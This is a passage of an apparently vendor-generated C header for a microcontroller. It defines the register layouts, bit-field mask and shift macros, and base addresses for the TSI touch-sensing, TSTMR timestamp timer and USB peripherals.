/** Array initializer of TRNG peripheral base pointers */
#define TRNG_BASE_PTRS { TRNG }
/** Interrupt vectors for the TRNG peripheral type */
#define TRNG_IRQS { TRNG_IRQn }
/*!
* @}
*/ /* end of group TRNG_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- TSI Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup TSI_Peripheral_Access_Layer TSI Peripheral Access Layer
* @{
*/
/** TSI - Register Layout Typedef */
typedef struct {
__IO uint32_t GENCS; /**< TSI General Control and Status Register, offset: 0x0 */
__IO uint32_t DATA; /**< TSI DATA Register, offset: 0x4 */
__IO uint32_t TSHD; /**< TSI Threshold Register, offset: 0x8 */
} TSI_Type;
/* ----------------------------------------------------------------------------
-- TSI Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup TSI_Register_Masks TSI Register Masks
* @{
*/
/*! @name GENCS - TSI General Control and Status Register */
#define TSI_GENCS_EOSDMEO_MASK (0x1U)
#define TSI_GENCS_EOSDMEO_SHIFT (0U)
#define TSI_GENCS_EOSDMEO(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_EOSDMEO_SHIFT)) & TSI_GENCS_EOSDMEO_MASK)
#define TSI_GENCS_CURSW_MASK (0x2U)
#define TSI_GENCS_CURSW_SHIFT (1U)
#define TSI_GENCS_CURSW(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_CURSW_SHIFT)) & TSI_GENCS_CURSW_MASK)
#define TSI_GENCS_EOSF_MASK (0x4U)
#define TSI_GENCS_EOSF_SHIFT (2U)
#define TSI_GENCS_EOSF(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_EOSF_SHIFT)) & TSI_GENCS_EOSF_MASK)
#define TSI_GENCS_SCNIP_MASK (0x8U)
#define TSI_GENCS_SCNIP_SHIFT (3U)
#define TSI_GENCS_SCNIP(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_SCNIP_SHIFT)) & TSI_GENCS_SCNIP_MASK)
#define TSI_GENCS_STM_MASK (0x10U)
#define TSI_GENCS_STM_SHIFT (4U)
#define TSI_GENCS_STM(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_STM_SHIFT)) & TSI_GENCS_STM_MASK)
#define TSI_GENCS_STPE_MASK (0x20U)
#define TSI_GENCS_STPE_SHIFT (5U)
#define TSI_GENCS_STPE(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_STPE_SHIFT)) & TSI_GENCS_STPE_MASK)
#define TSI_GENCS_TSIIEN_MASK (0x40U)
#define TSI_GENCS_TSIIEN_SHIFT (6U)
#define TSI_GENCS_TSIIEN(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_TSIIEN_SHIFT)) & TSI_GENCS_TSIIEN_MASK)
#define TSI_GENCS_TSIEN_MASK (0x80U)
#define TSI_GENCS_TSIEN_SHIFT (7U)
#define TSI_GENCS_TSIEN(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_TSIEN_SHIFT)) & TSI_GENCS_TSIEN_MASK)
#define TSI_GENCS_NSCN_MASK (0x1F00U)
#define TSI_GENCS_NSCN_SHIFT (8U)
#define TSI_GENCS_NSCN(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_NSCN_SHIFT)) & TSI_GENCS_NSCN_MASK)
#define TSI_GENCS_PS_MASK (0xE000U)
#define TSI_GENCS_PS_SHIFT (13U)
#define TSI_GENCS_PS(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_PS_SHIFT)) & TSI_GENCS_PS_MASK)
#define TSI_GENCS_EXTCHRG_MASK (0x70000U)
#define TSI_GENCS_EXTCHRG_SHIFT (16U)
#define TSI_GENCS_EXTCHRG(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_EXTCHRG_SHIFT)) & TSI_GENCS_EXTCHRG_MASK)
#define TSI_GENCS_DVOLT_MASK (0x180000U)
#define TSI_GENCS_DVOLT_SHIFT (19U)
#define TSI_GENCS_DVOLT(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_DVOLT_SHIFT)) & TSI_GENCS_DVOLT_MASK)
#define TSI_GENCS_REFCHRG_MASK (0xE00000U)
#define TSI_GENCS_REFCHRG_SHIFT (21U)
#define TSI_GENCS_REFCHRG(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_REFCHRG_SHIFT)) & TSI_GENCS_REFCHRG_MASK)
#define TSI_GENCS_MODE_MASK (0xF000000U)
#define TSI_GENCS_MODE_SHIFT (24U)
#define TSI_GENCS_MODE(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_MODE_SHIFT)) & TSI_GENCS_MODE_MASK)
#define TSI_GENCS_ESOR_MASK (0x10000000U)
#define TSI_GENCS_ESOR_SHIFT (28U)
#define TSI_GENCS_ESOR(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_ESOR_SHIFT)) & TSI_GENCS_ESOR_MASK)
#define TSI_GENCS_OUTRGF_MASK (0x80000000U)
#define TSI_GENCS_OUTRGF_SHIFT (31U)
#define TSI_GENCS_OUTRGF(x) (((uint32_t)(((uint32_t)(x)) << TSI_GENCS_OUTRGF_SHIFT)) & TSI_GENCS_OUTRGF_MASK)
/*! @name DATA - TSI DATA Register */
#define TSI_DATA_TSICNT_MASK (0xFFFFU)
#define TSI_DATA_TSICNT_SHIFT (0U)
#define TSI_DATA_TSICNT(x) (((uint32_t)(((uint32_t)(x)) << TSI_DATA_TSICNT_SHIFT)) & TSI_DATA_TSICNT_MASK)
#define TSI_DATA_SWTS_MASK (0x400000U)
#define TSI_DATA_SWTS_SHIFT (22U)
#define TSI_DATA_SWTS(x) (((uint32_t)(((uint32_t)(x)) << TSI_DATA_SWTS_SHIFT)) & TSI_DATA_SWTS_MASK)
#define TSI_DATA_DMAEN_MASK (0x800000U)
#define TSI_DATA_DMAEN_SHIFT (23U)
#define TSI_DATA_DMAEN(x) (((uint32_t)(((uint32_t)(x)) << TSI_DATA_DMAEN_SHIFT)) & TSI_DATA_DMAEN_MASK)
#define TSI_DATA_TSICH_MASK (0xF0000000U)
#define TSI_DATA_TSICH_SHIFT (28U)
#define TSI_DATA_TSICH(x) (((uint32_t)(((uint32_t)(x)) << TSI_DATA_TSICH_SHIFT)) & TSI_DATA_TSICH_MASK)
/*! @name TSHD - TSI Threshold Register */
#define TSI_TSHD_THRESL_MASK (0xFFFFU)
#define TSI_TSHD_THRESL_SHIFT (0U)
#define TSI_TSHD_THRESL(x) (((uint32_t)(((uint32_t)(x)) << TSI_TSHD_THRESL_SHIFT)) & TSI_TSHD_THRESL_MASK)
#define TSI_TSHD_THRESH_MASK (0xFFFF0000U)
#define TSI_TSHD_THRESH_SHIFT (16U)
#define TSI_TSHD_THRESH(x) (((uint32_t)(((uint32_t)(x)) << TSI_TSHD_THRESH_SHIFT)) & TSI_TSHD_THRESH_MASK)
/*!
* @}
*/ /* end of group TSI_Register_Masks */
/* TSI - Peripheral instance base addresses */
/** Peripheral TSI0 base address */
#define TSI0_BASE (0x40062000u)
/** Peripheral TSI0 base pointer */
#define TSI0 ((TSI_Type *)TSI0_BASE)
/** Array initializer of TSI peripheral base addresses */
#define TSI_BASE_ADDRS { TSI0_BASE }
/** Array initializer of TSI peripheral base pointers */
#define TSI_BASE_PTRS { TSI0 }
/** Interrupt vectors for the TSI peripheral type */
#define TSI_IRQS { TSI0_IRQn }
/*!
* @}
*/ /* end of group TSI_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- TSTMR Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup TSTMR_Peripheral_Access_Layer TSTMR Peripheral Access Layer
* @{
*/
/** TSTMR - Register Layout Typedef */
typedef struct {
__I uint32_t L; /**< Time Stamp Timer Register Low, offset: 0x0 */
__I uint32_t H; /**< Time Stamp Timer Register High, offset: 0x4 */
} TSTMR_Type;
/* ----------------------------------------------------------------------------
-- TSTMR Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup TSTMR_Register_Masks TSTMR Register Masks
* @{
*/
/*! @name L - Time Stamp Timer Register Low */
#define TSTMR_L_VALUE_MASK (0xFFFFFFFFU)
#define TSTMR_L_VALUE_SHIFT (0U)
#define TSTMR_L_VALUE(x) (((uint32_t)(((uint32_t)(x)) << TSTMR_L_VALUE_SHIFT)) & TSTMR_L_VALUE_MASK)
/*! @name H - Time Stamp Timer Register High */
#define TSTMR_H_VALUE_MASK (0xFFFFFFU)
#define TSTMR_H_VALUE_SHIFT (0U)
#define TSTMR_H_VALUE(x) (((uint32_t)(((uint32_t)(x)) << TSTMR_H_VALUE_SHIFT)) & TSTMR_H_VALUE_MASK)
/*!
* @}
*/ /* end of group TSTMR_Register_Masks */
/* TSTMR - Peripheral instance base addresses */
/** Peripheral TSTMR0 base address */
#define TSTMR0_BASE (0x400750F0u)
/** Peripheral TSTMR0 base pointer */
#define TSTMR0 ((TSTMR_Type *)TSTMR0_BASE)
/** Peripheral TSTMR1 base address */
#define TSTMR1_BASE (0x400F50F0u)
/** Peripheral TSTMR1 base pointer */
#define TSTMR1 ((TSTMR_Type *)TSTMR1_BASE)
/** Array initializer of TSTMR peripheral base addresses */
#define TSTMR_BASE_ADDRS { TSTMR0_BASE, TSTMR1_BASE }
/** Array initializer of TSTMR peripheral base pointers */
#define TSTMR_BASE_PTRS { TSTMR0, TSTMR1 }
/*!
* @}
*/ /* end of group TSTMR_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- USB Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup USB_Peripheral_Access_Layer USB Peripheral Access Layer
* @{
*/
/** USB - Register Layout Typedef */
typedef struct {
__I uint8_t PERID; /**< Peripheral ID register, offset: 0x0 */
uint8_t RESERVED_0[3];
__I uint8_t IDCOMP; /**< Peripheral ID Complement register, offset: 0x4 */
uint8_t RESERVED_1[3];
__I uint8_t REV; /**< Peripheral Revision register, offset: 0x8 */
uint8_t RESERVED_2[3];
__I uint8_t ADDINFO; /**< Peripheral Additional Info register, offset: 0xC */
uint8_t RESERVED_3[3];
__IO uint8_t OTGISTAT; /**< OTG Interrupt Status register, offset: 0x10 */
uint8_t RESERVED_4[3];
__IO uint8_t OTGICR; /**< OTG Interrupt Control register, offset: 0x14 */
uint8_t RESERVED_5[3];
__IO uint8_t OTGSTAT; /**< OTG Status register, offset: 0x18 */
uint8_t RESERVED_6[3];
__IO uint8_t OTGCTL; /**< OTG Control register, offset: 0x1C */
uint8_t RESERVED_7[99];
__IO uint8_t ISTAT; /**< Interrupt Status register, offset: 0x80 */
uint8_t RESERVED_8[3];
__IO uint8_t INTEN; /**< Interrupt Enable register, offset: 0x84 */
uint8_t RESERVED_9[3];
__IO uint8_t ERRSTAT; /**< Error Interrupt Status register, offset: 0x88 */
uint8_t RESERVED_10[3];
__IO uint8_t ERREN; /**< Error Interrupt Enable register, offset: 0x8C */
uint8_t RESERVED_11[3];
__I uint8_t STAT; /**< Status register, offset: 0x90 */
uint8_t RESERVED_12[3];
__IO uint8_t CTL; /**< Control register, offset: 0x94 */
uint8_t RESERVED_13[3];
__IO uint8_t ADDR; /**< Address register, offset: 0x98 */
uint8_t RESERVED_14[3];
__IO uint8_t BDTPAGE1; /**< BDT Page register 1, offset: 0x9C */
uint8_t RESERVED_15[3];
__IO uint8_t FRMNUML; /**< Frame Number register Low, offset: 0xA0 */
uint8_t RESERVED_16[3];
__IO uint8_t FRMNUMH; /**< Frame Number register High, offset: 0xA4 */
uint8_t RESERVED_17[3];
__IO uint8_t TOKEN; /**< Token register, offset: 0xA8 */
uint8_t RESERVED_18[3];
__IO uint8_t SOFTHLD; /**< SOF Threshold register, offset: 0xAC */
uint8_t RESERVED_19[3];
__IO uint8_t BDTPAGE2; /**< BDT Page Register 2, offset: 0xB0 */
uint8_t RESERVED_20[3];
__IO uint8_t BDTPAGE3; /**< BDT Page Register 3, offset: 0xB4 */
uint8_t RESERVED_21[11];
struct { /* offset: 0xC0, array step: 0x4 */
__IO uint8_t ENDPT; /**< Endpoint Control register, array offset: 0xC0, array step: 0x4 */
uint8_t RESERVED_0[3];
} ENDPOINT[16];
__IO uint8_t USBCTRL; /**< USB Control register, offset: 0x100 */
uint8_t RESERVED_22[3];
__I uint8_t OBSERVE; /**< USB OTG Observe register, offset: 0x104 */
uint8_t RESERVED_23[3];
__IO uint8_t CONTROL; /**< USB OTG Control register, offset: 0x108 */
uint8_t RESERVED_24[3];
__IO uint8_t USBTRC0; /**< USB Transceiver Control register 0, offset: 0x10C */
uint8_t RESERVED_25[7];
__IO uint8_t USBFRMADJUST; /**< Frame Adjust Register, offset: 0x114 */
uint8_t RESERVED_26[15];
__IO uint8_t KEEP_ALIVE_CTRL; /**< Keep Alive mode control, offset: 0x124 */
uint8_t RESERVED_27[3];
__IO uint8_t KEEP_ALIVE_WKCTRL; /**< Keep Alive mode wakeup control, offset: 0x128 */
uint8_t RESERVED_28[3];
__IO uint8_t MISCCTRL; /**< Miscellaneous Control register, offset: 0x12C */
uint8_t RESERVED_29[19];
__IO uint8_t CLK_RECOVER_CTRL; /**< USB Clock recovery control, offset: 0x140 */
uint8_t RESERVED_30[19];
__IO uint8_t CLK_RECOVER_INT_EN; /**< Clock recovery combined interrupt enable, offset: 0x154 */
uint8_t RESERVED_31[7];
__IO uint8_t CLK_RECOVER_INT_STATUS; /**< Clock recovery separated interrupt status, offset: 0x15C */
} USB_Type;
/* ----------------------------------------------------------------------------
-- USB Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup USB_Register_Masks USB Register Masks
* @{
*/
/*! @name PERID - Peripheral ID register */
#define USB_PERID_ID_MASK (0x3FU)
#define USB_PERID_ID_SHIFT (0U)
#define USB_PERID_ID(x) (((uint8_t)(((uint8_t)(x)) << USB_PERID_ID_SHIFT)) & USB_PERID_ID_MASK)
/*! @name IDCOMP - Peripheral ID Complement register */
#define USB_IDCOMP_NID_MASK (0x3FU)
#define USB_IDCOMP_NID_SHIFT (0U)
#define USB_IDCOMP_NID(x) (((uint8_t)(((uint8_t)(x)) << USB_IDCOMP_NID_SHIFT)) & USB_IDCOMP_NID_MASK)
/*! @name REV - Peripheral Revision register */
#define USB_REV_REV_MASK (0xFFU)
#define USB_REV_REV_SHIFT (0U)
#define USB_REV_REV(x) (((uint8_t)(((uint8_t)(x)) << USB_REV_REV_SHIFT)) & USB_REV_REV_MASK)
/*! @name ADDINFO - Peripheral Additional Info register */
#define USB_ADDINFO_IEHOST_MASK (0x1U)
#define USB_ADDINFO_IEHOST_SHIFT (0U)
#define USB_ADDINFO_IEHOST(x) (((uint8_t)(((uint8_t)(x)) << USB_ADDINFO_IEHOST_SHIFT)) & USB_ADDINFO_IEHOST_MASK)
/*! @name OTGISTAT - OTG Interrupt Status register */
#define USB_OTGISTAT_LINE_STATE_CHG_MASK (0x20U)
#define USB_OTGISTAT_LINE_STATE_CHG_SHIFT (5U)
#define USB_OTGISTAT_LINE_STATE_CHG(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGISTAT_LINE_STATE_CHG_SHIFT)) & USB_OTGISTAT_LINE_STATE_CHG_MASK)
#define USB_OTGISTAT_ONEMSEC_MASK (0x40U)
#define USB_OTGISTAT_ONEMSEC_SHIFT (6U)
#define USB_OTGISTAT_ONEMSEC(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGISTAT_ONEMSEC_SHIFT)) & USB_OTGISTAT_ONEMSEC_MASK)
/*! @name OTGICR - OTG Interrupt Control register */
#define USB_OTGICR_LINESTATEEN_MASK (0x20U)
#define USB_OTGICR_LINESTATEEN_SHIFT (5U)
#define USB_OTGICR_LINESTATEEN(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGICR_LINESTATEEN_SHIFT)) & USB_OTGICR_LINESTATEEN_MASK)
#define USB_OTGICR_ONEMSECEN_MASK (0x40U)
#define USB_OTGICR_ONEMSECEN_SHIFT (6U)
#define USB_OTGICR_ONEMSECEN(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGICR_ONEMSECEN_SHIFT)) & USB_OTGICR_ONEMSECEN_MASK)
/*! @name OTGSTAT - OTG Status register */
#define USB_OTGSTAT_LINESTATESTABLE_MASK (0x20U)
#define USB_OTGSTAT_LINESTATESTABLE_SHIFT (5U)
#define USB_OTGSTAT_LINESTATESTABLE(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGSTAT_LINESTATESTABLE_SHIFT)) & USB_OTGSTAT_LINESTATESTABLE_MASK)
#define USB_OTGSTAT_ONEMSECEN_MASK (0x40U)
#define USB_OTGSTAT_ONEMSECEN_SHIFT (6U)
#define USB_OTGSTAT_ONEMSECEN(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGSTAT_ONEMSECEN_SHIFT)) & USB_OTGSTAT_ONEMSECEN_MASK)
/*! @name OTGCTL - OTG Control register */
#define USB_OTGCTL_OTGEN_MASK (0x4U)
#define USB_OTGCTL_OTGEN_SHIFT (2U)
#define USB_OTGCTL_OTGEN(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGCTL_OTGEN_SHIFT)) & USB_OTGCTL_OTGEN_MASK)
#define USB_OTGCTL_DMLOW_MASK (0x10U)
#define USB_OTGCTL_DMLOW_SHIFT (4U)
#define USB_OTGCTL_DMLOW(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGCTL_DMLOW_SHIFT)) & USB_OTGCTL_DMLOW_MASK)
#define USB_OTGCTL_DPLOW_MASK (0x20U)
#define USB_OTGCTL_DPLOW_SHIFT (5U)
#define USB_OTGCTL_DPLOW(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGCTL_DPLOW_SHIFT)) & USB_OTGCTL_DPLOW_MASK)
#define USB_OTGCTL_DPHIGH_MASK (0x80U)
#define USB_OTGCTL_DPHIGH_SHIFT (7U)
#define USB_OTGCTL_DPHIGH(x) (((uint8_t)(((uint8_t)(x)) << USB_OTGCTL_DPHIGH_SHIFT)) & USB_OTGCTL_DPHIGH_MASK)
/*! @name ISTAT - Interrupt Status register */
#define USB_ISTAT_USBRST_MASK (0x1U)
#define USB_ISTAT_USBRST_SHIFT (0U)
#define USB_ISTAT_USBRST(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_USBRST_SHIFT)) & USB_ISTAT_USBRST_MASK)
#define USB_ISTAT_ERROR_MASK (0x2U)
#define USB_ISTAT_ERROR_SHIFT (1U)
#define USB_ISTAT_ERROR(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_ERROR_SHIFT)) & USB_ISTAT_ERROR_MASK)
#define USB_ISTAT_SOFTOK_MASK (0x4U)
#define USB_ISTAT_SOFTOK_SHIFT (2U)
#define USB_ISTAT_SOFTOK(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_SOFTOK_SHIFT)) & USB_ISTAT_SOFTOK_MASK)
#define USB_ISTAT_TOKDNE_MASK (0x8U)
#define USB_ISTAT_TOKDNE_SHIFT (3U)
#define USB_ISTAT_TOKDNE(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_TOKDNE_SHIFT)) & USB_ISTAT_TOKDNE_MASK)
#define USB_ISTAT_SLEEP_MASK (0x10U)
#define USB_ISTAT_SLEEP_SHIFT (4U)
#define USB_ISTAT_SLEEP(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_SLEEP_SHIFT)) & USB_ISTAT_SLEEP_MASK)
#define USB_ISTAT_RESUME_MASK (0x20U)
#define USB_ISTAT_RESUME_SHIFT (5U)
#define USB_ISTAT_RESUME(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_RESUME_SHIFT)) & USB_ISTAT_RESUME_MASK)
#define USB_ISTAT_ATTACH_MASK (0x40U)
#define USB_ISTAT_ATTACH_SHIFT (6U)
#define USB_ISTAT_ATTACH(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_ATTACH_SHIFT)) & USB_ISTAT_ATTACH_MASK)
#define USB_ISTAT_STALL_MASK (0x80U)
#define USB_ISTAT_STALL_SHIFT (7U)
#define USB_ISTAT_STALL(x) (((uint8_t)(((uint8_t)(x)) << USB_ISTAT_STALL_SHIFT)) & USB_ISTAT_STALL_MASK)
/*! @name INTEN - Interrupt Enable register */
#define USB_INTEN_USBRSTEN_MASK (0x1U)
#define USB_INTEN_USBRSTEN_SHIFT (0U)
#define USB_INTEN_USBRSTEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_USBRSTEN_SHIFT)) & USB_INTEN_USBRSTEN_MASK)
#define USB_INTEN_ERROREN_MASK (0x2U)
#define USB_INTEN_ERROREN_SHIFT (1U)
#define USB_INTEN_ERROREN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_ERROREN_SHIFT)) & USB_INTEN_ERROREN_MASK)
#define USB_INTEN_SOFTOKEN_MASK (0x4U)
#define USB_INTEN_SOFTOKEN_SHIFT (2U)
#define USB_INTEN_SOFTOKEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_SOFTOKEN_SHIFT)) & USB_INTEN_SOFTOKEN_MASK)
#define USB_INTEN_TOKDNEEN_MASK (0x8U)
#define USB_INTEN_TOKDNEEN_SHIFT (3U)
#define USB_INTEN_TOKDNEEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_TOKDNEEN_SHIFT)) & USB_INTEN_TOKDNEEN_MASK)
#define USB_INTEN_SLEEPEN_MASK (0x10U)
#define USB_INTEN_SLEEPEN_SHIFT (4U)
#define USB_INTEN_SLEEPEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_SLEEPEN_SHIFT)) & USB_INTEN_SLEEPEN_MASK)
#define USB_INTEN_RESUMEEN_MASK (0x20U)
#define USB_INTEN_RESUMEEN_SHIFT (5U)
#define USB_INTEN_RESUMEEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_RESUMEEN_SHIFT)) & USB_INTEN_RESUMEEN_MASK)
#define USB_INTEN_ATTACHEN_MASK (0x40U)
#define USB_INTEN_ATTACHEN_SHIFT (6U)
#define USB_INTEN_ATTACHEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_ATTACHEN_SHIFT)) & USB_INTEN_ATTACHEN_MASK)
#define USB_INTEN_STALLEN_MASK (0x80U)
#define USB_INTEN_STALLEN_SHIFT (7U)
#define USB_INTEN_STALLEN(x) (((uint8_t)(((uint8_t)(x)) << USB_INTEN_STALLEN_SHIFT)) & USB_INTEN_STALLEN_MASK)
/*! @name ERRSTAT - Error Interrupt Status register */
#define USB_ERRSTAT_PIDERR_MASK (0x1U)
#define USB_ERRSTAT_PIDERR_SHIFT (0U)
#define USB_ERRSTAT_PIDERR(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_PIDERR_SHIFT)) & USB_ERRSTAT_PIDERR_MASK)
#define USB_ERRSTAT_CRC5EOF_MASK (0x2U)
#define USB_ERRSTAT_CRC5EOF_SHIFT (1U)
#define USB_ERRSTAT_CRC5EOF(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_CRC5EOF_SHIFT)) & USB_ERRSTAT_CRC5EOF_MASK)
#define USB_ERRSTAT_CRC16_MASK (0x4U)
#define USB_ERRSTAT_CRC16_SHIFT (2U)
#define USB_ERRSTAT_CRC16(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_CRC16_SHIFT)) & USB_ERRSTAT_CRC16_MASK)
#define USB_ERRSTAT_DFN8_MASK (0x8U)
#define USB_ERRSTAT_DFN8_SHIFT (3U)
#define USB_ERRSTAT_DFN8(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_DFN8_SHIFT)) & USB_ERRSTAT_DFN8_MASK)
#define USB_ERRSTAT_BTOERR_MASK (0x10U)
#define USB_ERRSTAT_BTOERR_SHIFT (4U)
#define USB_ERRSTAT_BTOERR(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_BTOERR_SHIFT)) & USB_ERRSTAT_BTOERR_MASK)
#define USB_ERRSTAT_DMAERR_MASK (0x20U)
#define USB_ERRSTAT_DMAERR_SHIFT (5U)
#define USB_ERRSTAT_DMAERR(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_DMAERR_SHIFT)) & USB_ERRSTAT_DMAERR_MASK)
#define USB_ERRSTAT_OWNERR_MASK (0x40U)
#define USB_ERRSTAT_OWNERR_SHIFT (6U)
#define USB_ERRSTAT_OWNERR(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_OWNERR_SHIFT)) & USB_ERRSTAT_OWNERR_MASK)
#define USB_ERRSTAT_BTSERR_MASK (0x80U)
#define USB_ERRSTAT_BTSERR_SHIFT (7U)
#define USB_ERRSTAT_BTSERR(x) (((uint8_t)(((uint8_t)(x)) << USB_ERRSTAT_BTSERR_SHIFT)) & USB_ERRSTAT_BTSERR_MASK)
/*! @name ERREN - Error Interrupt Enable register */
#define USB_ERREN_PIDERREN_MASK (0x1U)
#define USB_ERREN_PIDERREN_SHIFT (0U)
#define USB_ERREN_PIDERREN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_PIDERREN_SHIFT)) & USB_ERREN_PIDERREN_MASK)
#define USB_ERREN_CRC5EOFEN_MASK (0x2U)
#define USB_ERREN_CRC5EOFEN_SHIFT (1U)
#define USB_ERREN_CRC5EOFEN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_CRC5EOFEN_SHIFT)) & USB_ERREN_CRC5EOFEN_MASK)
#define USB_ERREN_CRC16EN_MASK (0x4U)
#define USB_ERREN_CRC16EN_SHIFT (2U)
#define USB_ERREN_CRC16EN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_CRC16EN_SHIFT)) & USB_ERREN_CRC16EN_MASK)
#define USB_ERREN_DFN8EN_MASK (0x8U)
#define USB_ERREN_DFN8EN_SHIFT (3U)
#define USB_ERREN_DFN8EN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_DFN8EN_SHIFT)) & USB_ERREN_DFN8EN_MASK)
#define USB_ERREN_BTOERREN_MASK (0x10U)
#define USB_ERREN_BTOERREN_SHIFT (4U)
#define USB_ERREN_BTOERREN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_BTOERREN_SHIFT)) & USB_ERREN_BTOERREN_MASK)
#define USB_ERREN_DMAERREN_MASK (0x20U)
#define USB_ERREN_DMAERREN_SHIFT (5U)
#define USB_ERREN_DMAERREN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_DMAERREN_SHIFT)) & USB_ERREN_DMAERREN_MASK)
#define USB_ERREN_OWNERREN_MASK (0x40U)
#define USB_ERREN_OWNERREN_SHIFT (6U)
#define USB_ERREN_OWNERREN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_OWNERREN_SHIFT)) & USB_ERREN_OWNERREN_MASK)
#define USB_ERREN_BTSERREN_MASK (0x80U)
#define USB_ERREN_BTSERREN_SHIFT (7U)
#define USB_ERREN_BTSERREN(x) (((uint8_t)(((uint8_t)(x)) << USB_ERREN_BTSERREN_SHIFT)) & USB_ERREN_BTSERREN_MASK)
/*! @name STAT - Status register */
#define USB_STAT_ODD_MASK (0x4U)
#define USB_STAT_ODD_SHIFT (2U)
#define USB_STAT_ODD(x) (((uint8_t)(((uint8_t)(x)) << USB_STAT_ODD_SHIFT)) & USB_STAT_ODD_MASK)
#define USB_STAT_TX_MASK (0x8U)
#define USB_STAT_TX_SHIFT (3U)
#define USB_STAT_TX(x) (((uint8_t)(((uint8_t)(x)) << USB_STAT_TX_SHIFT)) & USB_STAT_TX_MASK)
#define USB_STAT_ENDP_MASK (0xF0U)
#define USB_STAT_ENDP_SHIFT (4U)
#define USB_STAT_ENDP(x) (((uint8_t)(((uint8_t)(x)) << USB_STAT_ENDP_SHIFT)) & USB_STAT_ENDP_MASK)
/*! @name CTL - Control register */
#define USB_CTL_USBENSOFEN_MASK (0x1U)
#define USB_CTL_USBENSOFEN_SHIFT (0U)
#define USB_CTL_USBENSOFEN(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_USBENSOFEN_SHIFT)) & USB_CTL_USBENSOFEN_MASK)
#define USB_CTL_ODDRST_MASK (0x2U)
#define USB_CTL_ODDRST_SHIFT (1U)
#define USB_CTL_ODDRST(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_ODDRST_SHIFT)) & USB_CTL_ODDRST_MASK)
#define USB_CTL_RESUME_MASK (0x4U)
#define USB_CTL_RESUME_SHIFT (2U)
#define USB_CTL_RESUME(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_RESUME_SHIFT)) & USB_CTL_RESUME_MASK)
#define USB_CTL_HOSTMODEEN_MASK (0x8U)
#define USB_CTL_HOSTMODEEN_SHIFT (3U)
#define USB_CTL_HOSTMODEEN(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_HOSTMODEEN_SHIFT)) & USB_CTL_HOSTMODEEN_MASK)
#define USB_CTL_RESET_MASK (0x10U)
#define USB_CTL_RESET_SHIFT (4U)
#define USB_CTL_RESET(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_RESET_SHIFT)) & USB_CTL_RESET_MASK)
#define USB_CTL_TXSUSPENDTOKENBUSY_MASK (0x20U)
#define USB_CTL_TXSUSPENDTOKENBUSY_SHIFT (5U)
#define USB_CTL_TXSUSPENDTOKENBUSY(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_TXSUSPENDTOKENBUSY_SHIFT)) & USB_CTL_TXSUSPENDTOKENBUSY_MASK)
#define USB_CTL_SE0_MASK (0x40U)
#define USB_CTL_SE0_SHIFT (6U)
#define USB_CTL_SE0(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_SE0_SHIFT)) & USB_CTL_SE0_MASK)
